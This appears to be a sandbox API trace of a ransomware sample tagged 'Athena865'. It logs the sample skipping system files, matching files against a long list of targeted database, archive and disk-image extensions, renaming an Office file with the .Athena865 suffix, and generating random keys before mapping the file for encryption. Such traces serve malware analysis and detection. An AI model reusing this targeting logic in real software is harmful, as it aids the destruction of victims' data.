[0079.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0079.922] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0079.924] CloseHandle (hObject=0x17c) returned 1 [0079.924] CloseHandle (hObject=0x154) returned 1 [0079.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0079.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0079.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0079.933] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x6b251510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xd00c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCRHC.DAT", cAlternateFileName="")) returned 1 [0079.933] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2=".") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="..") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="windows") returned -1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="bootmgr") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="temp") returned -1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="pagefile.sys") returned -1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="boot") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="ids.txt") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="ntuser.dat") returned 1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="perflogs") returned -1 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2="MSBuild") returned 1 [0079.934] lstrlenW (lpString="OCRHC.DAT") returned 9 [0079.934] lstrcpyW (in: lpString1=0x241e89e, lpString2="OCRHC.DAT" | out: lpString1="OCRHC.DAT") returned="OCRHC.DAT" [0079.934] lstrlenW (lpString="OCRHC.DAT") returned 9 [0079.934] lstrlenW (lpString="Athena865") returned 9 [0079.934] lstrlenW (lpString=".dll") returned 4 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2=".dll") returned 1 [0079.934] lstrlenW (lpString=".lnk") returned 4 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2=".lnk") returned 1 [0079.934] lstrlenW (lpString=".ini") returned 4 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2=".ini") returned 1 [0079.934] lstrlenW (lpString=".sys") returned 4 [0079.934] lstrcmpiW (lpString1="OCRHC.DAT", lpString2=".sys") returned 1 [0079.934] lstrlenW (lpString="OCRHC.DAT") returned 9 [0079.934] lstrlenW (lpString="bak") returned 3 [0079.934] lstrcmpiW (lpString1="DAT", lpString2="bak") returned 1 [0079.934] lstrlenW (lpString="ba_") returned 3 [0079.934] lstrcmpiW (lpString1="DAT", lpString2="ba_") returned 1 [0079.934] lstrlenW (lpString="dbb") returned 3 [0079.934] lstrcmpiW (lpString1="DAT", lpString2="dbb") returned -1 [0079.935] lstrlenW (lpString="vmdk") returned 4 [0079.935] lstrcmpiW (lpString1=".DAT", lpString2="vmdk") returned -1 [0079.935] lstrlenW (lpString="rar") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="rar") returned -1 [0079.935] lstrlenW (lpString="zip") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="zip") returned -1 [0079.935] lstrlenW (lpString="tgz") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="tgz") returned -1 [0079.935] lstrlenW (lpString="vbox") returned 4 [0079.935] lstrcmpiW (lpString1=".DAT", lpString2="vbox") returned -1 [0079.935] lstrlenW (lpString="vdi") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="vdi") returned -1 [0079.935] lstrlenW (lpString="vhd") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="vhd") returned -1 [0079.935] lstrlenW (lpString="vhdx") returned 4 [0079.935] lstrcmpiW (lpString1=".DAT", lpString2="vhdx") returned -1 [0079.935] lstrlenW (lpString="avhd") returned 4 [0079.935] lstrcmpiW (lpString1=".DAT", lpString2="avhd") returned -1 [0079.935] lstrlenW (lpString="db") returned 2 [0079.935] lstrcmpiW (lpString1="AT", lpString2="db") returned -1 [0079.935] lstrlenW (lpString="db2") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="db2") returned -1 [0079.935] lstrlenW (lpString="db3") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="db3") returned -1 [0079.935] lstrlenW (lpString="dbf") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="dbf") returned -1 [0079.935] lstrlenW (lpString="mdf") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="mdf") returned -1 [0079.935] lstrlenW (lpString="mdb") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="mdb") returned -1 [0079.935] lstrlenW (lpString="sql") returned 3 [0079.935] lstrcmpiW (lpString1="DAT", lpString2="sql") returned -1 [0079.936] lstrlenW (lpString="sqlite") returned 6 [0079.936] lstrcmpiW (lpString1="HC.DAT", lpString2="sqlite") returned -1 [0079.936] lstrlenW (lpString="sqlite3") returned 7 [0079.936] lstrcmpiW (lpString1="RHC.DAT", lpString2="sqlite3") returned -1 [0079.936] lstrlenW (lpString="sqlitedb") returned 8 [0079.936] lstrcmpiW (lpString1="CRHC.DAT", lpString2="sqlitedb") returned -1 [0079.936] lstrlenW (lpString="xml") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="xml") returned -1 [0079.936] lstrlenW (lpString="$er") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="$er") returned 1 [0079.936] lstrlenW (lpString="4dd") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="4dd") returned 1 [0079.936] lstrlenW (lpString="4dl") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="4dl") returned 1 [0079.936] lstrlenW (lpString="^^^") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="^^^") returned 1 [0079.936] lstrlenW (lpString="abs") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="abs") returned 1 [0079.936] lstrlenW (lpString="abx") returned 3 [0079.936] lstrcmpiW (lpString1="DAT", lpString2="abx") returned 1 [0079.936] lstrlenW (lpString="accdb") returned 5 [0079.936] lstrcmpiW (lpString1="C.DAT", lpString2="accdb") returned 1 [0079.936] lstrlenW (lpString="accdc") returned 5 [0079.936] lstrcmpiW (lpString1="C.DAT", lpString2="accdc") returned 1 [0079.936] lstrlenW (lpString="accde") returned 5 [0079.936] lstrcmpiW (lpString1="C.DAT", lpString2="accde") returned 1 [0079.937] lstrlenW (lpString="accdr") returned 5 [0079.937] lstrcmpiW (lpString1="C.DAT", lpString2="accdr") returned 1 [0079.937] lstrlenW (lpString="accdt") returned 5 [0079.937] lstrcmpiW (lpString1="C.DAT", lpString2="accdt") returned 1 [0079.937] lstrlenW (lpString="accdw") returned 5 [0079.937] lstrcmpiW (lpString1="C.DAT", lpString2="accdw") returned 1 [0079.937] lstrlenW (lpString="accft") returned 5 [0079.937] lstrcmpiW (lpString1="C.DAT", lpString2="accft") returned 1 [0079.937] lstrlenW (lpString="adb") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0079.937] lstrlenW (lpString="adb") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1 [0079.937] lstrlenW (lpString="ade") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="ade") returned 1 [0079.937] lstrlenW (lpString="adf") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="adf") returned 1 [0079.937] lstrlenW (lpString="adn") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="adn") returned 1 [0079.937] lstrlenW (lpString="adp") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="adp") returned 1 [0079.937] lstrlenW (lpString="alf") returned 3 [0079.937] lstrcmpiW (lpString1="DAT", lpString2="alf") returned 1 [0079.937] lstrlenW (lpString="ask") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="ask") returned 1 [0079.938] lstrlenW (lpString="btr") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="btr") returned 1 [0079.938] lstrlenW (lpString="cat") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="cat") returned 1 [0079.938] lstrlenW (lpString="cdb") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="cdb") returned 1 [0079.938] lstrlenW (lpString="ckp") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="ckp") returned 1 [0079.938] lstrlenW (lpString="cma") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="cma") returned 1 [0079.938] lstrlenW (lpString="cpd") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="cpd") returned 1 [0079.938] lstrlenW (lpString="dacpac") returned 6 [0079.938] lstrcmpiW (lpString1="HC.DAT", lpString2="dacpac") returned 1 [0079.938] lstrlenW (lpString="dad") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="dad") returned 1 [0079.938] lstrlenW (lpString="dadiagrams") returned 10 [0079.938] lstrlenW (lpString="daschema") returned 8 [0079.938] lstrcmpiW (lpString1="CRHC.DAT", lpString2="daschema") returned -1 [0079.938] lstrlenW (lpString="db-journal") returned 10 [0079.938] lstrlenW (lpString="db-shm") returned 6 [0079.938] lstrcmpiW (lpString1="HC.DAT", lpString2="db-shm") returned 1 [0079.938] lstrlenW (lpString="db-wal") returned 6 [0079.938] lstrcmpiW (lpString1="HC.DAT", lpString2="db-wal") returned 1 [0079.938] lstrlenW (lpString="dbc") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="dbc") returned -1 [0079.938] lstrlenW (lpString="dbs") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="dbs") returned -1 [0079.938] lstrlenW (lpString="dbt") returned 3 [0079.938] lstrcmpiW (lpString1="DAT", lpString2="dbt") returned -1 [0079.938] lstrlenW (lpString="dbv") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dbv") returned -1 [0079.939] lstrlenW (lpString="dbx") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dbx") returned -1 [0079.939] lstrlenW (lpString="dcb") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dcb") returned -1 [0079.939] lstrlenW (lpString="dct") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dct") returned -1 [0079.939] lstrlenW (lpString="dcx") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dcx") returned -1 [0079.939] lstrlenW (lpString="ddl") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="ddl") returned -1 [0079.939] lstrlenW (lpString="dlis") returned 4 [0079.939] lstrcmpiW (lpString1=".DAT", lpString2="dlis") returned -1 [0079.939] lstrlenW (lpString="dp1") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dp1") returned -1 [0079.939] lstrlenW (lpString="dqy") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dqy") returned -1 [0079.939] lstrlenW (lpString="dsk") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dsk") returned -1 [0079.939] lstrlenW (lpString="dsn") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dsn") returned -1 [0079.939] lstrlenW (lpString="dtsx") returned 4 [0079.939] lstrcmpiW (lpString1=".DAT", lpString2="dtsx") returned -1 [0079.939] lstrlenW (lpString="dxl") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="dxl") returned -1 [0079.939] lstrlenW (lpString="eco") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="eco") returned -1 [0079.939] lstrlenW (lpString="ecx") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="ecx") returned -1 [0079.939] lstrlenW (lpString="edb") returned 3 [0079.939] lstrcmpiW (lpString1="DAT", lpString2="edb") returned -1 [0079.939] lstrlenW (lpString="epim") returned 4 [0079.939] lstrcmpiW (lpString1=".DAT", lpString2="epim") returned -1 [0079.940] lstrlenW (lpString="fcd") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fcd") returned -1 [0079.940] lstrlenW (lpString="fdb") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fdb") returned -1 [0079.940] lstrlenW (lpString="fic") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fic") returned -1 [0079.940] lstrlenW (lpString="flexolibrary") returned 12 [0079.940] lstrlenW (lpString="fm5") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fm5") returned -1 [0079.940] lstrlenW (lpString="fmp") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fmp") returned -1 [0079.940] lstrlenW (lpString="fmp12") returned 5 [0079.940] lstrcmpiW (lpString1="C.DAT", lpString2="fmp12") returned -1 [0079.940] lstrlenW (lpString="fmpsl") returned 5 [0079.940] lstrcmpiW (lpString1="C.DAT", lpString2="fmpsl") returned -1 [0079.940] lstrlenW (lpString="fol") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fol") returned -1 [0079.940] lstrlenW (lpString="fp3") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fp3") returned -1 [0079.940] lstrlenW (lpString="fp4") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fp4") returned -1 [0079.940] lstrlenW (lpString="fp5") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fp5") returned -1 [0079.940] lstrlenW (lpString="fp7") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fp7") returned -1 [0079.940] lstrlenW (lpString="fpt") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="fpt") returned -1 [0079.940] lstrlenW (lpString="frm") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="frm") returned -1 [0079.940] lstrlenW (lpString="gdb") returned 3 [0079.940] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1 [0079.940] lstrlenW (lpString="gdb") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="gdb") returned -1 [0079.941] lstrlenW (lpString="grdb") returned 4 [0079.941] lstrcmpiW (lpString1=".DAT", lpString2="grdb") returned -1 [0079.941] lstrlenW (lpString="gwi") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="gwi") returned -1 [0079.941] lstrlenW (lpString="hdb") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="hdb") returned -1 [0079.941] lstrlenW (lpString="his") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="his") returned -1 [0079.941] lstrlenW (lpString="ib") returned 2 [0079.941] lstrcmpiW (lpString1="AT", lpString2="ib") returned -1 [0079.941] lstrlenW (lpString="idb") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="idb") returned -1 [0079.941] lstrlenW (lpString="ihx") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="ihx") returned -1 [0079.941] lstrlenW (lpString="itdb") returned 4 [0079.941] lstrcmpiW (lpString1=".DAT", lpString2="itdb") returned -1 [0079.941] lstrlenW (lpString="itw") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="itw") returned -1 [0079.941] lstrlenW (lpString="jet") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="jet") returned -1 [0079.941] lstrlenW (lpString="jtx") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="jtx") returned -1 [0079.941] lstrlenW (lpString="kdb") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="kdb") returned -1 [0079.941] lstrlenW (lpString="kexi") returned 4 [0079.941] lstrcmpiW (lpString1=".DAT", lpString2="kexi") returned -1 [0079.941] lstrlenW (lpString="kexic") returned 5 [0079.941] lstrcmpiW (lpString1="C.DAT", lpString2="kexic") returned -1 [0079.941] lstrlenW (lpString="kexis") returned 5 [0079.941] lstrcmpiW (lpString1="C.DAT", lpString2="kexis") returned -1 [0079.941] lstrlenW (lpString="lgc") returned 3 [0079.941] lstrcmpiW (lpString1="DAT", lpString2="lgc") returned -1 [0079.942] lstrlenW (lpString="lwx") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="lwx") returned -1 [0079.942] lstrlenW (lpString="maf") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="maf") returned -1 [0079.942] lstrlenW (lpString="maq") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="maq") returned -1 [0079.942] lstrlenW (lpString="mar") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mar") returned -1 [0079.942] lstrlenW (lpString="marshal") returned 7 [0079.942] lstrcmpiW (lpString1="RHC.DAT", lpString2="marshal") returned 1 [0079.942] lstrlenW (lpString="mas") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mas") returned -1 [0079.942] lstrlenW (lpString="mav") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mav") returned -1 [0079.942] lstrlenW (lpString="maw") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="maw") returned -1 [0079.942] lstrlenW (lpString="mdbhtml") returned 7 [0079.942] lstrcmpiW (lpString1="RHC.DAT", lpString2="mdbhtml") returned 1 [0079.942] lstrlenW (lpString="mdn") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mdn") returned -1 [0079.942] lstrlenW (lpString="mdt") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mdt") returned -1 [0079.942] lstrlenW (lpString="mfd") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mfd") returned -1 [0079.942] lstrlenW (lpString="mpd") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mpd") returned -1 [0079.942] lstrlenW (lpString="mrg") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mrg") returned -1 [0079.942] lstrlenW (lpString="mud") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mud") returned -1 [0079.942] lstrlenW (lpString="mwb") returned 3 [0079.942] lstrcmpiW (lpString1="DAT", lpString2="mwb") returned -1 [0079.943] lstrlenW (lpString="myd") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="myd") returned -1 [0079.943] lstrlenW (lpString="ndf") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="ndf") returned -1 [0079.943] lstrlenW (lpString="nnt") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="nnt") returned -1 [0079.943] lstrlenW (lpString="nrmlib") returned 6 [0079.943] lstrcmpiW (lpString1="HC.DAT", lpString2="nrmlib") returned -1 [0079.943] lstrlenW (lpString="ns2") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="ns2") returned -1 [0079.943] lstrlenW (lpString="ns3") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="ns3") returned -1 [0079.943] lstrlenW (lpString="ns4") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="ns4") returned -1 [0079.943] lstrlenW (lpString="nsf") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="nsf") returned -1 [0079.943] lstrlenW (lpString="nv") returned 2 [0079.943] lstrcmpiW (lpString1="AT", lpString2="nv") returned -1 [0079.943] lstrlenW (lpString="nv2") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="nv2") returned -1 [0079.943] lstrlenW (lpString="nwdb") returned 4 [0079.943] lstrcmpiW (lpString1=".DAT", lpString2="nwdb") returned -1 [0079.943] lstrlenW (lpString="nyf") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="nyf") returned -1 [0079.943] lstrlenW (lpString="odb") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1 [0079.943] lstrlenW (lpString="odb") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="odb") returned -1 [0079.943] lstrlenW (lpString="oqy") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="oqy") returned -1 [0079.943] lstrlenW (lpString="ora") returned 3 [0079.943] lstrcmpiW (lpString1="DAT", lpString2="ora") returned -1 [0079.944] lstrlenW (lpString="orx") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="orx") returned -1 [0079.944] lstrlenW (lpString="owc") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="owc") returned -1 [0079.944] lstrlenW (lpString="p96") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="p96") returned -1 [0079.944] lstrlenW (lpString="p97") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="p97") returned -1 [0079.944] lstrlenW (lpString="pan") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="pan") returned -1 [0079.944] lstrlenW (lpString="pdb") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="pdb") returned -1 [0079.944] lstrlenW (lpString="pdm") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="pdm") returned -1 [0079.944] lstrlenW (lpString="pnz") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="pnz") returned -1 [0079.944] lstrlenW (lpString="qry") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="qry") returned -1 [0079.944] lstrlenW (lpString="qvd") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="qvd") returned -1 [0079.944] lstrlenW (lpString="rbf") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="rbf") returned -1 [0079.944] lstrlenW (lpString="rctd") returned 4 [0079.944] lstrcmpiW (lpString1=".DAT", lpString2="rctd") returned -1 [0079.944] lstrlenW (lpString="rod") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="rod") returned -1 [0079.944] lstrlenW (lpString="rodx") returned 4 [0079.944] lstrcmpiW (lpString1=".DAT", lpString2="rodx") returned -1 [0079.944] lstrlenW (lpString="rpd") returned 3 [0079.944] lstrcmpiW (lpString1="DAT", lpString2="rpd") returned -1 [0079.944] lstrlenW (lpString="rsd") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="rsd") returned -1 [0079.945] lstrlenW (lpString="sas7bdat") returned 8 [0079.945] lstrcmpiW (lpString1="CRHC.DAT", lpString2="sas7bdat") returned -1 [0079.945] lstrlenW (lpString="sbf") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="sbf") returned -1 [0079.945] lstrlenW (lpString="scx") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="scx") returned -1 [0079.945] lstrlenW (lpString="sdb") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="sdb") returned -1 [0079.945] lstrlenW (lpString="sdc") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="sdc") returned -1 [0079.945] lstrlenW (lpString="sdf") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="sdf") returned -1 [0079.945] lstrlenW (lpString="sis") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="sis") returned -1 [0079.945] lstrlenW (lpString="spq") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="spq") returned -1 [0079.945] lstrlenW (lpString="te") returned 2 [0079.945] lstrcmpiW (lpString1="AT", lpString2="te") returned -1 [0079.945] lstrlenW (lpString="teacher") returned 7 [0079.945] lstrcmpiW (lpString1="RHC.DAT", lpString2="teacher") returned -1 [0079.945] lstrlenW (lpString="tmd") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="tmd") returned -1 [0079.945] lstrlenW (lpString="tps") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="tps") returned -1 [0079.945] lstrlenW (lpString="trc") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1 [0079.945] lstrlenW (lpString="trc") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="trc") returned -1 [0079.945] lstrlenW (lpString="trm") returned 3 [0079.945] lstrcmpiW (lpString1="DAT", lpString2="trm") returned -1 [0079.945] lstrlenW (lpString="udb") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="udb") returned -1 [0079.946] lstrlenW (lpString="udl") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="udl") returned -1 [0079.946] lstrlenW (lpString="usr") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="usr") returned -1 [0079.946] lstrlenW (lpString="v12") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="v12") returned -1 [0079.946] lstrlenW (lpString="vis") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="vis") returned -1 [0079.946] lstrlenW (lpString="vpd") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="vpd") returned -1 [0079.946] lstrlenW (lpString="vvv") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="vvv") returned -1 [0079.946] lstrlenW (lpString="wdb") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="wdb") returned -1 [0079.946] lstrlenW (lpString="wmdb") returned 4 [0079.946] lstrcmpiW (lpString1=".DAT", lpString2="wmdb") returned -1 [0079.946] lstrlenW (lpString="wrk") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="wrk") returned -1 [0079.946] lstrlenW (lpString="xdb") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="xdb") returned -1 [0079.946] lstrlenW (lpString="xld") returned 3 [0079.946] lstrcmpiW (lpString1="DAT", lpString2="xld") returned -1 [0079.946] lstrlenW (lpString="xmlff") returned 5 [0079.946] lstrcmpiW (lpString1="C.DAT", lpString2="xmlff") returned -1 [0079.946] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.Athena865") returned 62 [0079.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat.athena865"), dwFlags=0x1) returned 1 [0079.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OCRHC.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\ocrhc.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0079.965] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=53260) returned 1 [0079.965] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0079.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0079.966] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0079.966] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0079.967] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0079.967] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.967] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd310, lpName=0x0) returned 0x17c [0079.969] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd310) returned 0x100000 [0080.001] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0080.002] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0080.002] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0080.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0080.002] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0080.002] 